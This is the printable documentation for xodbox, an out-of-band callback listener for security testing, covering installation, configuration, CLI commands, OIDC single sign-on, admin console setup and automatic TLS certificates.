This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

xodbox

Network interaction listening post
Docs :: Releases :: Code
Go Tests

Purpose

Quickly determine if an application reaches out to remote network based services. Easily create custom responses to test how applications consume data from network sources.


Features

Multiple listening protocols:

  • HTTP/HTTPS
  • DNS (in dev)
  • FTP (in dev)
  • SMTP (in dev)
  • SMB (in dev)
  • IMAP
  • POP3
  • SSH (in dev)
  • TCP (in dev)

Plus:

  • An embedded admin web console (React SPA + JSON API) to browse the live event feed, edit payloads, group interactions into sinks, and manage users and API keys. Enable it with ui_path or an isolated admin_listener — see the HTTPX handler docs.
  • Pluggable notifiers (app_log, slack, discord, webhook) that fire on matching interactions, so a callback shows up in chat the moment it lands.

Installation

Download a release from GitHub or use Go Install:

go install github.com/defektive/xodbox@latest

Running without root (Linux)

Several handlers bind privileged ports (below 1024) by default — HTTP :80, HTTPS :443, DNS :53, and SMB :445. Instead of running xodbox as root, grant the binary the network capabilities it needs and run it as a normal user:

sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip xodbox
./xodbox serve

cap_net_bind_service is what allows binding ports below 1024, and is the only capability required for the current handlers; cap_net_raw and cap_net_admin are included for forward compatibility and can be dropped if you don’t need them. Re-run setcap after upgrading — replacing the binary clears its capabilities.


Configuration

./xodbox config -e > xodbox.yaml

Handler Configuration

Configuration information for each Handler is documented alongside it’s code in the handlers directory.

Notifier Configuration

Configuration information for each Notifier is documented alongside it’s code in the notifiers directory.


Server Usage

Start the listeners with the serve subcommand:

./xodbox serve

Running ./xodbox with no subcommand prints the available commands (serve, config, payload, sink, user, …). All the magic happens through the configuration file — see the handlers and notifiers docs for what you can configure.

Client Usage

When a client makes a connection to xodbox, the logic to respond will be processed by a Handler. Handlers are responsible for seeding their own default data.


Quick Start Guides

Linux

This little snippet will:

  • Download and extract latest release from GitHub.
  • Generate a new config file.
  • create the static and payload directories used by the config file.
wget -q $(wget -q -O - https://api.github.com/repos/defektive/xodbox/releases/latest | grep -o "https:.*Linux_x86_64\.tar\.gz")
tar -xzvf xodbox*.tar.gz
./xodbox config -e | sed 's/^#\(\s*\(payload\|static\)_dir\)/ \1/g' > xodbox.yaml
mkdir -p static payloads/httpx

Bare metal

./xodbox serve 

Docker (prebuilt image from GHCR)

Prebuilt, cosign-signed images are published to GitHub Container Registry on every release. The image’s entrypoint is xodbox and its working directory is /workspace, so mount a directory there to hold your config, database, and payloads, then pass a subcommand (serve, config, user, …).

# 1. Generate a config into the current directory
docker run --rm -v "$PWD:/workspace" ghcr.io/defektive/xodbox:latest config -e > xodbox.yaml

# 2. Run the server (publish whatever ports your config listens on)
docker run --rm \
  -v "$PWD:/workspace" \
  --user "$(id -u):$(id -g)" \
  -p 80:80 \
  ghcr.io/defektive/xodbox:latest serve

The image runs as a non-root user. Passing --user "$(id -u):$(id -g)" makes it read and write the mounted directory as you, so the config and SQLite database stay owned by your host user. Pin a release tag (e.g. ghcr.io/defektive/xodbox:v1.2.3) instead of :latest for reproducible deploys.

Docker (Alpine with a downloaded release)

Prefer not to pull the prebuilt image? The release binary is statically linked, so you can run an extracted release inside a stock Alpine container. Run this from the directory containing the extracted xodbox binary:

docker run \
  --rm \
  -p 80:80 \
  -v "$PWD:/app" \
  --workdir /app \
  alpine \
  ./xodbox serve

Feedback

I have an issue or feature request

Sweet! Open an issue to start the conversation.


Wait… I want the old node version

Really? ok we made a tag just for you.

https://github.com/defektive/xodbox/releases/tag/legacy-nodejs

1 - Config

Configuration system

Overview

xodbox behaviour is driven by xodbox.yaml. The config file has four top-level sections:

SectionTypePurpose
defaultsmap[string]stringGlobal defaults shared across components (e.g. server_name, default_ip).
handlers[]map[string]stringProtocol listeners to start. Each entry must have a handler key naming a registered type.
notifiers[]map[string]stringEvent sinks. Each entry must have a notifier key naming a registered type.
workers[]map[string]stringBackground tasks. Each entry must have a worker key naming a registered type.

Generate a starter config with:

xodbox config init

Managing config

Web UI

Admin users can view and edit the config from the Config page in the admin web UI. The structured editor shows each section with add/remove controls; a raw YAML tab is also available for power users. Saving from the UI automatically reloads all handlers — no manual restart needed.

CLI

xodbox config                        # print the loaded config
xodbox config init                   # write the default config to disk
xodbox config validate               # check the config for errors
xodbox config get defaults.server_name   # read a value by dot-path
xodbox config set defaults.server_name foo   # write a value by dot-path

The set subcommand validates before writing; invalid configs are rejected.

Validation

ValidateConfigFile checks that every handler, notifier, and worker entry references a registered type name. Unknown names and missing type keys are reported as errors.

Reloading config

Saving from the web UI automatically triggers a graceful reload: all running handlers and workers are stopped, the new config is loaded, and new handlers/workers are started. There is a brief interruption (~1-2s) while listeners rebind.

From the CLI or after a manual file edit, send SIGHUP to the running xodbox process to reload without a full restart:

kill -HUP $(pidof xodbox)

Alternatively, restart the process entirely.

2 - Xodbox CLI

Xodbox CLI Reference

Synopsis

A network interaction listening post.

  • Quickly determine if an application interacts with network services.
  • Easily create custom responses to interaction requests.

Options

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
  -h, --help            help for xodbox
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.1 - Completion

Generate completion script

Synopsis

To load completions:

Bash:

source <(xodbox completion bash)

# To load completions for each session, execute once:
# Linux:
xodbox completion bash > /etc/bash_completion.d/xodbox
# macOS:
xodbox completion bash > /usr/local/etc/bash_completion.d/xodbox

Zsh:

# If shell completion is not already enabled in your environment,
# you will need to enable it.  You can execute the following once:
echo "autoload -U compinit; compinit" >> ~/.zshrc

# To load completions for each session, execute once:
xodbox completion zsh > "${fpath[1]}/_xodbox"

# You will need to start a new shell for this setup to take effect.

fish:

xodbox completion fish | source

# To load completions for each session, execute once:
xodbox completion fish > ~/.config/fish/completions/xodbox.fish

PowerShell:

xodbox completion powershell | Out-String | Invoke-Expression

# To load completions for every new session, run:
xodbox completion powershell > xodbox.ps1
# and source this file from your PowerShell profile.
xodbox completion [bash|zsh|fish|powershell]

Options

  -h, --help   help for completion

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

  • xodbox - A network interaction listening post
Auto generated by spf13/cobra on 16-Jul-2026

2.2 - Config

Manage the xodbox config file.

Synopsis

View, validate, and edit the xodbox config file.

Running ‘xodbox config’ with no subcommand prints the currently loaded config. Use a subcommand for specific operations.

xodbox config [flags]

Options

  -e, --embedded   Print the embedded config file
  -h, --help       help for config

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.3 - Config Get

Get a config value by dot-notation path

Synopsis

Query a specific value from the config file using a dot-notation path.

xodbox config get <path> [flags]

Examples

  xodbox config get defaults.server_name
  xodbox config get handlers.0.listener
  xodbox config get notifiers.0.notifier

Options

  -h, --help   help for get

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.4 - Config Init

Write the default config file to disk

Synopsis

Write the embedded default config to the –config path (default xodbox.yaml). Refuses to overwrite unless –force is set.

xodbox config init [flags]

Options

      --force   Overwrite existing config file
  -h, --help    help for init

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.5 - Config Set

Set a config value by dot-notation path

Synopsis

Set a specific value in the config file and save it. The config is validated before writing; invalid configs are rejected.

Send SIGHUP to the running xodbox process to reload without a full restart.

xodbox config set <path> <value> [flags]

Examples

  xodbox config set defaults.server_name MyServer
  xodbox config set handlers.0.listener :8080
  xodbox config set notifiers.0.filter "^HTTP"

Options

  -h, --help   help for set

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.6 - Config Validate

Validate the config file

Synopsis

Load the config file and check that all handler, notifier, and worker names are valid. Exit code 1 on validation failure.

xodbox config validate [flags]

Options

  -h, --help   help for validate

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.7 - Interactions

Inspect and prune recorded interactions.

Synopsis

Manage the interactions the listeners have recorded. Use ‘purge’ to remove noise from a known source (e.g. a leftover beacon from an old test) that has been flooding the database.

Options

  -h, --help   help for interactions

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.8 - Interactions Purge

Delete recorded interactions matching a source, target, or handler.

Synopsis

Delete interactions matching the given filters (ANDed together). At least one filter is required so the whole table isn’t wiped by mistake. Pair this with the ignore_cidrs / ignore_pattern config defaults to stop the same noisy callout from being recorded going forward.

Examples: xodbox interactions purge –remote 203.0.113.7 xodbox interactions purge –remote 10.0.0.0/8 –dry-run xodbox interactions purge –target /old-test-callback –handler httpx

xodbox interactions purge [flags]

Options

      --dry-run          report how many rows match without deleting
      --handler string   restrict to a single handler (e.g. httpx, dns)
  -h, --help             help for purge
      --remote strings   source IP or CIDR to purge (repeatable, comma-separated)
      --target string    substring matched against the request target (HTTP path / DNS qname)

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.9 - Payload

Manage payloads.

Synopsis

Manage payloads served by xodbox. Use subcommands to inspect or export payload data.

Options

  -h, --help   help for payload

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.10 - Payload Dump

Dump payloads.

Synopsis

Dump all payloads from the database as YAML.

xodbox payload dump [flags]

Options

  -h, --help   help for dump

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.11 - Serve

Start xodbox server.

Synopsis

Start the xodbox server with all configured handlers and notifiers.

Loads the config file, opens the database, seeds initial state, and starts each handler in its own goroutine. Shuts down gracefully on SIGINT/SIGTERM.

xodbox serve [flags]

Options

  -h, --help   help for serve

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

  • xodbox - A network interaction listening post
Auto generated by spf13/cobra on 16-Jul-2026

2.12 - Sink

Manage interaction sinks (named/described slugs).

Synopsis

Create and manage sinks: named, described slugs you embed in payloads to correlate out-of-band interactions. View a sink’s hits in the admin web UI.

Options

  -h, --help   help for sink

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.13 - Sink Add

Create a sink; generates a random slug when none is given.
xodbox sink add [slug] [flags]

Options

      --description string   what this sink is for (shown in the UI and CLI list)
  -h, --help                 help for add
      --notify               send notifications when this sink is hit

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

  • xodbox sink - Manage interaction sinks (named/described slugs).
Auto generated by spf13/cobra on 16-Jul-2026

2.14 - Sink List

List sinks and their hit counts.
xodbox sink list [flags]

Options

  -h, --help   help for list

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

  • xodbox sink - Manage interaction sinks (named/described slugs).
Auto generated by spf13/cobra on 16-Jul-2026

2.15 - Sink Rm

Delete a sink (its captured interactions are left untouched).
xodbox sink rm <slug> [flags]

Options

  -h, --help   help for rm

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

  • xodbox sink - Manage interaction sinks (named/described slugs).
Auto generated by spf13/cobra on 16-Jul-2026

2.16 - Update

Update xodbox to latest version

Synopsis

Update or check for updates. The default update method is to download the latest release from GitHub.

xodbox update [flags]

Examples

# Update to latest version
xodbox update
# Use go install to update
xodbox update -g
# Download from a specific URL
# Not sure why anyone else would need this. I use it for quickly testing builds on different machines.
xodbox update -u http://10.0.0.2:8000/dist/xodbox_darwin_arm64/xodbox

# This is typically used after I run the following:
#	goreleaser release --clean --snapshot
#	python -m http.server

Options

  -C, --check        Check for update
  -f, --force        Force update, even if release is not newer
  -g, --go-install   Use go install instead of downloading release from GitHub
  -h, --help         help for update
  -u, --url string   URL to download from (force implies)

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

  • xodbox - A network interaction listening post
Auto generated by spf13/cobra on 16-Jul-2026

2.17 - User

Manage admin console users.

Synopsis

Create and manage the users that can log into the embedded admin web UI.

Options

  -h, --help   help for user

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.18 - User Add

Create an admin console user (bootstrap the first admin).
xodbox user add <username> [flags]

Options

      --admin             grant the admin role
  -h, --help              help for add
      --password string   use this password instead of a generated one

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.19 - User List

List admin console users.
xodbox user list [flags]

Options

  -h, --help   help for list

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.20 - User Passwd

Reset a user’s password (revokes their active sessions).
xodbox user passwd <username> [flags]

Options

  -h, --help              help for passwd
      --password string   use this password instead of a generated one

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

2.21 - User Rm

Delete a user and their API keys and sessions.
xodbox user rm <username> [flags]

Options

  -h, --help   help for rm

Options inherited from parent commands

      --config string   Config file path (default "xodbox.yaml")
      --debug           Debug mode
      --reset-db        Reset database

SEE ALSO

Auto generated by spf13/cobra on 16-Jul-2026

3 - Guides

Setup and configuration guides for xodbox

Step-by-step guides for configuring xodbox features.

3.1 - OIDC / SSO

Configure single sign-on for the admin console via OpenID Connect

The admin console supports single sign-on via any OpenID Connect provider (Google, Okta, Keycloak, Azure AD, Authentik, Dex, etc.). SSO runs alongside built-in username/password login — a local admin can always sign in even when the IdP is down or misconfigured.

Prerequisites

  • A working xodbox instance with the admin console enabled (admin_listener or ui_path configured).
  • An OIDC provider with a client application registered for xodbox.

Register xodbox with your identity provider

Create an application / client in your IdP with these settings:

SettingValue
Application typeWeb
Grant typeAuthorization Code
PKCES256 (always used; required for public clients)
Redirect URI<admin_base>/api/auth/oidc/callback (e.g. https://oob.example.com/admin/api/auth/oidc/callback)
Scopesopenid profile email (minimum)

Note the Issuer URL and Client ID — those are the two required values. A Client Secret is optional when the provider supports public clients with PKCE.

Quick setup via the web UI

The admin console’s Config page offers a one-click Enable OIDC / SSO button on any HTTPX handler entry. Clicking it adds all the SSO fields with sensible defaults — just fill in your Issuer URL and Client ID from your identity provider and save.

Minimal configuration (YAML)

Add the OIDC keys to your HTTPX handler entry in xodbox.yaml:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    oidc_issuer: https://sso.example.com/realms/corp
    oidc_client_id: xodbox

This is enough to enable the SSO button on the login page. Discovery (<issuer>/.well-known/openid-configuration) is fetched lazily on the first login attempt, so xodbox starts even if the IdP is temporarily unreachable.

Full configuration reference

KeyDefaultDescription
oidc_issuerProvider issuer URL. Required to enable SSO.
oidc_client_idOAuth2/OIDC client ID. Required to enable SSO.
oidc_client_secret(empty)Client secret. Omit for public clients — the flow always uses PKCE.
oidc_redirect_urlderivedCallback URL. When empty it is derived from the request’s scheme, host, and admin mount path (honoring X-Forwarded-Proto). Set it explicitly when behind a reverse proxy.
oidc_scopesopenid,profile,emailComma or space-separated scopes. openid is always included.
oidc_default_roleuserRole assigned to provisioned users: user or admin.
oidc_groups_claimgroupsID-token claim inspected for group membership. May be a JSON array, space-separated string, or comma-separated string.
oidc_admin_group(empty)When set, users whose groups claim contains this value get the admin role; everyone else gets oidc_default_role.
oidc_button_labelSign in with SSOText shown on the login page’s SSO button.

How the login flow works

  1. The user clicks Sign in with SSO on the login page.
  2. The browser hits GET /api/auth/oidc/login, which generates a state, nonce, and PKCE code verifier, stashes them in short-lived cookies, and redirects to the identity provider’s authorization endpoint.
  3. After the user authenticates, the provider redirects back to GET /api/auth/oidc/callback.
  4. xodbox validates state, exchanges the authorization code (with the PKCE verifier), and verifies the ID token’s signature and nonce.
  5. A local account is provisioned (or updated) from the token’s claims and a standard session cookie is issued — identical to the one the password flow creates. All downstream middleware (CSRF, roles, API keys) works the same regardless of login method.

User provisioning

Accounts are created just-in-time on first OIDC login. Key behaviours:

  • The account is keyed by iss#sub (issuer + subject), never by email, so a colliding email address cannot take over an existing local account.
  • OIDC-provisioned accounts have no password and can never be used for password login.
  • The display name is derived from preferred_username, email, or sub (first non-empty wins). If the chosen username is already taken, a numeric suffix is appended.
  • On every login the user’s role is re-synced from the current token claims, so IdP group changes take effect immediately.

Role mapping

Without oidc_admin_group, every OIDC user gets the oidc_default_role (default user). Set oidc_admin_group to a group value present in the oidc_groups_claim to promote matching users to admin:

oidc_groups_claim: groups        # claim name in the ID token
oidc_admin_group: xodbox-admins  # value that grants admin
oidc_default_role: user          # everyone else

The groups claim can be a JSON array (["a","b"]), a space-separated string ("a b"), or a comma-separated string ("a,b").

Reverse proxy considerations

When xodbox sits behind a reverse proxy:

  • Set oidc_redirect_url explicitly to the externally-reachable callback URL. The auto-derived URL uses the request’s Host and X-Forwarded-Proto headers, which may not be correct in all proxy configurations.
  • Ensure the proxy forwards X-Forwarded-Proto so xodbox can distinguish HTTP from HTTPS when building the redirect.

Provider-specific examples

Keycloak

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    public_url: https://oob.example.com
    oidc_issuer: https://sso.example.com/realms/corp
    oidc_client_id: xodbox
    oidc_client_secret: "change-me"
    oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
    oidc_admin_group: xodbox-admins

In Keycloak, create a client with:

  • Client type: OpenID Connect
  • Client authentication: On (confidential) or Off (public + PKCE)
  • Valid redirect URIs: https://oob.example.com/admin/api/auth/oidc/callback
  • Add a groups mapper (Client scopes → dedicated scope → Add mapper → Group Membership) so the groups claim appears in the ID token.

Google Workspace

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    oidc_issuer: https://accounts.google.com
    oidc_client_id: "123456789.apps.googleusercontent.com"
    oidc_client_secret: "GOCSPX-..."
    oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
    oidc_default_role: user

Google does not expose a groups claim in the ID token, so group-based admin mapping is not available. Grant the admin role from the Users page after the user’s first login, or set oidc_default_role: admin if every Google user should be an admin.

Okta

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    oidc_issuer: https://dev-123456.okta.com
    oidc_client_id: 0oa1bcdef
    oidc_client_secret: "..."
    oidc_redirect_url: https://oob.example.com/admin/api/auth/oidc/callback
    oidc_groups_claim: groups
    oidc_admin_group: xodbox-admins

In Okta, add a Groups claim to the ID token (Security → API → Authorization Server → Claims → Add Claim with Include in: ID Token, Value type: Groups, Filter: Matches regex .*).

Troubleshooting

SSO button does not appear: both oidc_issuer and oidc_client_id must be set. Check the server logs at start-up for an OIDC summary line confirming SSO is enabled.

“sso_error” on callback: the login page shows the error from the query parameter. Common causes: mismatched redirect URI, expired state cookie (the user took too long), or the IdP returned an error. Check server logs for the detailed error.

User gets user role instead of admin: verify that the ID token actually contains the groups claim. Use your IdP’s token preview or decode the JWT to confirm. The claim name must match oidc_groups_claim and the value must match oidc_admin_group exactly.

IdP unreachable at start-up: this is fine — discovery is lazy. The first login attempt will fail with a clear error if the IdP is still unreachable at that point.

3.2 - Admin Console Setup

Bootstrap users, configure the admin web UI, and manage API keys and sinks

The admin console is an embedded React web UI and JSON API for managing payloads, browsing captured interactions, creating sinks, and managing users and API keys. It ships inside the xodbox binary — no separate install needed.

Bootstrap the first user

There is no default account. Create an admin user before starting the server:

xodbox user add alice --admin

This prints a generated 24-character password once — store it immediately. To choose your own password:

xodbox user add alice --admin --password 'your-strong-password'

Passwords must be at least 12 characters.

Choose a serving strategy

The admin console can be served two ways:

Bind the admin console to a separate address, fully isolated from the attacker-facing port:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091

The admin UI is served only on 127.0.0.1:9091. The main listener on port 80 serves only honeypot content. This is the safest option — the admin surface is not reachable from the attacker-facing port at all.

Option 2: Same listener, sub-path

Mount the admin UI under a path prefix on the main listener:

handlers:
  - handler: HTTPX
    listener: :80
    ui_path: /admin

The admin UI is served at http://your-host/admin. Use ui_allow_cidrs to restrict access by source IP (see below).

Restrict access by source IP

The ui_allow_cidrs config restricts admin UI access to specific source IPs, checked against the real TCP peer IP (never X-Forwarded-For):

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"

Denied requests receive a 404 (indistinguishable from a non-existent path). Empty or omitted means no restriction — authentication is still required.

Set the public URL

When the admin console runs on an isolated listener (different from the honeypot), sink “Copy HTTP link” needs to know the honeypot’s external address:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    public_url: https://oob.example.com

Without public_url, the link falls back to the admin UI’s own origin, which is only correct when the UI is served on the honeypot listener.

Authentication

Browser sessions

  • Cookie-based with server-side session tokens (hashed at rest).
  • HttpOnly, SameSite=Strict, Secure under TLS.
  • State-changing requests require a CSRF token: the X-CSRF-Token header must echo the xodbox_csrf cookie.
  • Login is rate-limited: 10 attempts per IP per minute (HTTP 429 when exceeded).

API keys

API keys authenticate non-browser clients (scripts, CI, integrations). They use the prefix xdbx_ followed by 64 hex characters.

Create a key from the admin UI (Account → API Keys) or via the API:

curl -X POST https://admin:9091/api/apikeys \
  -H "Authorization: Bearer xdbx_existing_key" \
  -H "Content-Type: application/json" \
  -d '{"name": "ci-bot"}'

The full key is returned exactly once in the response — only the SHA-256 hash is stored. Keys can optionally have an expiry (expires_at).

Use a key by sending it as a Bearer token:

curl https://admin:9091/api/interactions \
  -H "Authorization: Bearer xdbx_your_key_here"

API key requests skip CSRF checks.

User management

CLI

xodbox user add bob                  # create user (role: user), prints generated password
xodbox user add carol --admin        # create admin
xodbox user add dave --password 'p'  # create user with a specific password
xodbox user list                     # list all users (ID, username, role)
xodbox user passwd bob               # reset password (revokes active sessions)
xodbox user rm bob                   # delete user + their keys and sessions

API (admin only)

MethodPathDescription
GET/api/usersList all users
POST/api/usersCreate a user ({"username": "...", "password": "...", "role": "admin|user"})
DELETE/api/users/{id}Delete a user (cannot delete self or last admin)
POST/api/users/{id}/passwordReset another user’s password

Self-service

Any authenticated user can change their own password:

POST /api/account/password
{"current": "...", "new": "..."}

Sinks

A sink is a named slug you embed in payloads to correlate interactions. Creating a sink does not change what the honeypot captures — it labels and groups hits so you can review them in one place.

An interaction belongs to a sink when the slug appears in the request_target (HTTP path, DNS qname) or the raw request headers. So /<slug>, <slug>.your.domain, and ?x=<slug> all correlate.

CLI

SLUG=$(xodbox sink add --description "prod SSRF beacon")  # random slug (stdout is clean for scripting)
xodbox sink add my-label --description "a named one"       # explicit slug
xodbox sink list                                           # slug, hit count, description
xodbox sink rm my-label                                    # delete sink (interactions kept)

Slugs must be 6-64 characters of [a-zA-Z0-9_-]. Random slugs are ~10 characters of lowercase base32.

API

MethodPathDescription
GET/api/sinksList all sinks with event counts
POST/api/sinksCreate ({"slug": "...", "description": "..."})
GET/api/sinks/{slug}Sink detail + paginated events (?limit=&offset=)
PUT/api/sinks/{slug}Update description
DELETE/api/sinks/{slug}Delete sink (interactions kept)

Login notifications

Enable event emission on every successful admin login:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    notify_logins: "true"

Login events appear in the Events log and fire notifiers whose filter matches the pattern HTTPX Login <username> from <ip>. Failed login attempts are not emitted.

Real-time event streaming

The admin UI updates live via Server-Sent Events. The same stream is available programmatically:

curl -N https://admin:9091/api/stream \
  -H "Authorization: Bearer xdbx_your_key" \
  -H "Accept: text/event-stream"

Filter the stream with query parameters: handler, remote, target, sink.

Example: full setup

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091
    ui_allow_cidrs: "127.0.0.1/32,10.0.0.0/8"
    public_url: https://oob.example.com
    notify_logins: "true"
# Create the first admin
xodbox user add operator --admin

# Start the server
xodbox serve

# Create a sink for an engagement
SLUG=$(xodbox sink add --description "Acme Corp SSRF test")
echo "Embed in payloads: https://oob.example.com/$SLUG"

3.3 - TLS / ACME Setup

Automatic HTTPS certificates via Let’s Encrypt for the HTTPX handler

The HTTPX handler can automatically provision and renew TLS certificates via Let’s Encrypt using certmagic. Two challenge methods are supported: DNS-01 (recommended — works behind firewalls and supports wildcards) and HTTP-01 / TLS-ALPN-01 (requires ports 80 and 443 to be reachable from the internet).

Prerequisites

  • A domain (or subdomain) whose DNS you control.
  • For DNS-01: API credentials for a supported DNS provider (Namecheap or Route53).
  • For HTTP-01: ports 80 and 443 open and reachable from the public internet.

Quick start (DNS-01 with Namecheap)

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: "*.oob.example.com,oob.example.com"
    acme_email: you@example.com
    acme_accept: "true"
    acme_url: https://acme-staging-v02.api.letsencrypt.org/directory
    dns_provider: namecheap
    dns_provider_api_user: your-namecheap-user
    dns_provider_api_key: your-namecheap-api-key

Start with the staging ACME URL to avoid rate limits while testing. Once certificates provision correctly, switch to production (see below).

Configuration reference

KeyRequiredDefaultNotes
tls_namesyesComma-separated hostnames. Setting any value enables HTTPS. Wildcards (e.g. *.example.com) require DNS-01.
acme_emailnoContact address for the ACME account. Let’s Encrypt sends expiry warnings here.
acme_acceptyesfalseMust be the literal string "true" to accept the CA’s terms of service. Other values ("yes", "1") are treated as false.
acme_urlnoLE productionACME directory URL. Use https://acme-staging-v02.api.letsencrypt.org/directory for testing.
dns_providernonamecheap or route53. When set, DNS-01 is used exclusively (HTTP-01 and TLS-ALPN-01 are disabled).
dns_provider_api_usernoNamecheap API username (namecheap only).
dns_provider_api_keynoNamecheap API key (namecheap only).

Challenge methods

When dns_provider is set, xodbox creates TXT records via the provider’s API to prove domain ownership. HTTP-01 and TLS-ALPN-01 are disabled. A hardcoded 30-second propagation delay gives DNS time to converge.

DNS-01 is the only option that supports wildcard certificates and works when ports 80/443 are behind a firewall or NAT.

HTTP-01 / TLS-ALPN-01 (fallback)

When dns_provider is not set, certmagic uses its default challenge methods. This requires:

  • Port 80 reachable from the internet (HTTP-01 challenge).
  • Port 443 reachable from the internet (TLS-ALPN-01 and serving).

Note: in HTTPS mode, xodbox always binds ports 80 and 443 directly (via certmagic), regardless of the listener config value.

DNS provider setup

Namecheap

  1. Enable API access in your Namecheap account (Profile → Tools → API Access).
  2. Whitelist your xodbox server’s IP.
  3. Set dns_provider_api_user and dns_provider_api_key in the config.
dns_provider: namecheap
dns_provider_api_user: your-username
dns_provider_api_key: your-api-key

Route53

The Route53 provider uses the standard AWS SDK credential chain — no xodbox-specific config keys are needed beyond dns_provider: route53. Provide credentials via one of:

  • Environment variables: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_REGION
  • Shared credentials file: ~/.aws/credentials (with optional AWS_PROFILE)
  • IAM instance profile / role: when running on EC2, ECS, or similar AWS infrastructure
  • Web identity token: for EKS / Kubernetes workloads

The IAM policy must allow route53:ListHostedZones, route53:ChangeResourceRecordSets, and route53:GetChange on the relevant hosted zone.

dns_provider: route53

Staging to production workflow

  1. Start with staging. Set acme_url to the Let’s Encrypt staging directory. Staging has generous rate limits and issues untrusted certificates — browsers will warn, but you can verify the flow works.

  2. Verify. Start xodbox and confirm certificates provision (check the logs for certmagic messages). Test with curl -k or a browser that accepts untrusted certs.

  3. Switch to production. Remove or clear acme_url (the default is Let’s Encrypt production) or set it explicitly:

    acme_url: https://acme-v02.api.letsencrypt.org/directory
    
  4. Restart xodbox. Production certificates will be provisioned and trusted by browsers.

Example configurations

Wildcard certificate with Namecheap

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: "*.oob.example.com,oob.example.com"
    acme_email: ops@example.com
    acme_accept: "true"
    dns_provider: namecheap
    dns_provider_api_user: ncuser
    dns_provider_api_key: nckey123
    admin_listener: 127.0.0.1:9091

Single domain with Route53

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: oob.example.com
    acme_email: ops@example.com
    acme_accept: "true"
    dns_provider: route53

HTTP-01 (no DNS provider)

handlers:
  - handler: HTTPX
    listener: :80
    tls_names: oob.example.com
    acme_email: ops@example.com
    acme_accept: "true"

Requires ports 80 and 443 open to the internet. Does not support wildcard certificates.

Troubleshooting

“acme_accept must be true”: The value must be the exact string "true". Quoting matters in YAML — acme_accept: true (boolean) works, but acme_accept: yes does not.

Rate limited by Let’s Encrypt: You hit the production rate limit. Switch to the staging URL, fix your config, then retry production after the rate limit window (usually 1 hour for failed validations, 1 week for duplicate certificates).

